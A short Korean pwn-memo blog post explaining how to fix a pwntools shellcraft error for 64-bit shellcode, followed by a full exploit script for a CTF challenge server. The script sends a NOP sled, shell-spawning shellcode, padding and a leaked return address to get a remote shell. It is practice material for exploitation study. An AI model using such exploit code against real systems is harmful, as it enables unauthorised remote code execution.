-
shellcraft에서 64bit shellcode 에러ETC/Pwn 메모장 2019. 6. 24. 23:40
기본적으로 64비트 쉘코드를 실행시키고 싶을때에는 이런 식으로 작성한다.
from pwn import * shellcode = shellcraft.amd64.linux.sh() p = run_assembly(shellcode) p.interactive()
하지만 shellcode를 실행시키는 단계에서 에러가 나는 것을 볼 수 있을건데, 그때 다음 한 줄만 추가해주면 된다.
context(arch='amd64', os='linux')
마찬가지로, 익스코드에는 다음과 같이 작성한다.
from pwn import * r = remote('ctf.j0n9hyun.xyz', 3005) context(arch='amd64', os='linux') shellcode = asm(shellcraft.amd64.linux.sh()) r.recvuntil(': ') buf = r.recvn(14) buf = int(buf, 16) payload = '' payload += '\x90'*8 payload += shellcode payload += "A"*(27960-len(payload)) payload += p64(buf) r.send(payload) r.interactive()
'ETC > Pwn 메모장' 카테고리의 다른 글
FPO할때 주의! (64bits) (0) 2019.07.11 함수 인자와 Return 값 레지스터 (feat.32, 64 bit) (0) 2019.06.25 반복문에서 쉘코드 크기 줄이기 (0) 2019.06.24 shellcode 작성 시 null byte 제거하기 (0) 2019.06.20 Double Free buggggggg (0) 2019.06.14